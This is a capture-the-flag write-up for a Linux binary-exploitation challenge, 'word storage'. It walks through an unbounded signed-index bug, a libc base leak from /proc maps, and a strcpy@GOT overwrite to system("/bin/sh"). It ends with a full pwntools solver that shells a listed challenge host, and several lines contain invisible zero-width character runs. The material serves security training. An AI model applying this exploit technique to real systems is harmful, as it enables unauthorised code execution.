← Back to Writeups
CUSTOMMediumpwn

word storage

XESXOR9/2/20265 min read
#pwn#custom#medium#got_overwrite#libc_base_leak_from_maps#libc_fingerprint_by_got_offset#ret2system#strcpy_got_hijack#unbounded_signed_index#linux

word storage

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: got_overwrite, libc_base_leak_from_maps, libc_fingerprint_by_got_offset, ret2system, strcpy_got_hijack, unbounded_signed_index

Summary

Task: 64-bit NON-PIE pwn with a 5-cell word storage; Store/Get take an unbounded signed array index leading to arbitrary write+read at data+index*8, and a startup maps dump leaks the libc base. Solution: leak libc from /proc/PPID/maps, plant /bin/sh in data[0], overwrite strcpy@GOT with libc system via a negative index, then trigger a Store to fire system("/bin/sh").

word storage — pwn_spbctf

Description

Отличное хранилище для всех недосказанных слов.

("A great storage for all unsaid words.")

A 64-bit x86-64 ELF word_storage.elf exposing a 5-cell "word storage" with a Store/Get menu. Remote service: nc 109.233.56.90 11671. The challenge ships libc-2.31.so (Debian glibc 2.31-3). Goal: pop a shell and read /flag.

Binary protections: NON-PIE (base 0x400000), NX, Partial RELRO, NO stack canary.

Analysis

Key functions:

  • main @ 0x4011c5, menu @ 0x4011ad, show_memory @ 0x401182. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Startup leak. show_memory() runs system("cat /proc/$PPID/maps") at startup, printing the full process memory map. The first line containing /libc-2.31.so gives the libc base as its start address. On this service the base was static (0x7ffff7de3000, ASLR effectively off), but the exploit parses it from the dump anyway so it is robust.

Globals / GOT layout (objdump -R):

  • data array @ 0x4040a0 in .bss, 8-byte cells.
  • strcpy@got = 0x404018, puts@got = 0x404020, system@got = 0x404028, printf@got = 0x404030. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug — unbounded signed index. The menu loop:

  • choice 1 (Store): scanf("%d", &index) with no bounds check (signed, so negative allowed), read(0, word=rbp-0xa, 0xa), then strcpy(data + index*8, word). => arbitrary write.
  • choice 2 (Get): scanf("%d", &index) (no bounds), puts(data + index*8). => arbitrary read / leak.

Because the index is unbounded and signed, a negative index reaches the GOT, which sits below data:

  • strcpy@got index = (0x404018 - 0x4040a0) / 8 = -17
  • puts@got index = (0x404020 - 0x4040a0) / 8 = -16
  • system@got index = (0x404028 - 0x4040a0) / 8 = -15 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Libc fingerprinting. Reading the resolved puts@got via Get(-16) showed a puts offset of 0x766b0, which exactly matches the provided Debian glibc 2.31-3 (puts=0x766b0, system=0x48f20, /bin/sh=0x18a156). This confirms the remote libc is the shipped Debian build (notably different from magic_ret on the same host, which used Ubuntu's libc).

Solution

Arbitrary write to the GOT → redirect strcpy to system, with the source argument pointing at a planted "/bin/sh":

  1. Parse the libc base from the startup maps dump; system = base + 0x48f20.
  2. Store "/bin/sh\0" into data[0] (index 0, address 0x4040a0).
  3. Overwrite strcpy@got (index -17) with system. Send the word as p64(system)[:6] + b"\x00".
  4. Trigger: Store with index 0. The call strcpy(data[0], word) is now system(data[0]) = system("/bin/sh") → shell → cat /flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Two key pitfalls

(a) Target strcpy@got, NOT puts@got. The menu calls puts every loop iteration (the "You have 5 cells..." banner). Overwriting puts → system would make the menu's own puts run system(menu_string) prematurely with the wrong argument. strcpy is only invoked on a deliberate Store, giving controlled triggering with rdi = data + index*8 — which we point at "/bin/sh".

(b) strcpy NUL-termination. strcpy copies from the source until a NUL in the source. Sending only the 6 address bytes (no NUL) left a stale leftover byte ('h' = 0x68, from the earlier "/bin/sh") trailing into the GOT entry's 7th byte → the stored pointer became 0x0068_7ffff7e2bf20 → bad pointer → SIGSEGV. Fix: send p64(system)[:6] + b"\x00" so strcpy writes a clean 6-byte little-endian address and the NUL zeroes the high bytes (correct for a 6-byte userspace address). Verified by reading the GOT back via Get(-17). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solver

python
#!/usr/bin/env python3
# word_storage.elf (NON-PIE, no canary): startup show_memory() prints /proc/PPID/maps
# (leaks libc base). Menu: 1=Store -> scanf index (UNBOUNDED signed!) then
# strcpy(data + index*8, word); 2=Get -> puts(data + index*8). data=0x4040a0.
# ARBITRARY WRITE via negative index -> overwrite a GOT entry.
# Remote libc = the PROVIDED Debian glibc 2.31-3 (puts@got offset 0x766b0 matches;
# system=0x48f20).
#
# Strategy:
#   1. Store "/bin/sh\0" at data[0] (0x4040a0).
#   2. Overwrite strcpy@got (0x404018, index -17) with libc system. The word is sent
#      as p64(system)[:6] + b"\x00" so strcpy NUL-terminates and writes a CLEAN 6-byte
#      address (without the trailing NUL the source buffer leftovers leak an extra byte
#      into the GOT high byte -> bad pointer -> segfault).
#   3. Trigger: Store index 0 -> strcpy(data[0], word) is now system(data[0]) =
#      system("/bin/sh"). (Using strcpy@got, NOT puts@got, so the menu's own puts() calls
#      keep working until the deliberate trigger.)
from pwn import *
context.arch = 'amd64'; context.log_level = 'info'
HOST, PORT = '109.233.56.90', 11671
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

DATA       = 0x4040a0
STRCPY_GOT = 0x404018
IDX_STRCPY = (STRCPY_GOT - DATA)//8      # -17
SYSTEM_OFF = 0x48f20                     # Debian glibc 2.31-3 (provided libc)

def store(io, index, word):
    io.sendline(b'1'); io.recvuntil(b'Enter index: '); io.sendline(str(index).encode())
    io.recvuntil(b'Enter word: '); io.send(word); io.recvuntil(b'> ')

io = remote(HOST, PORT)
maps = io.recvuntil(b'> ')               # maps dump + first menu
base = [int(l.split(b'-')[0], 16) for l in maps.split(b'\n') if b'/libc-2.31.so' in l][0]
system = base + SYSTEM_OFF
log.success('libc base = %#x  system = %#x' % (base, system))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

store(io, 0, b'/bin/sh\x00')             # data[0] = "/bin/sh"
store(io, IDX_STRCPY, p64(system)[:6] + b'\x00')   # strcpy@got = system (clean 6 bytes)
# trigger
io.sendline(b'1'); io.recvuntil(b'Enter index: '); io.sendline(b'0')
io.recvuntil(b'Enter word: '); io.send(b'x\x00')   # strcpy(data[0],..) -> system("/bin/sh")

io.sendline(b'cat /flag /flag.txt 2>/dev/null; id')
print(io.recvall(timeout=5).decode(errors='replace'))
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍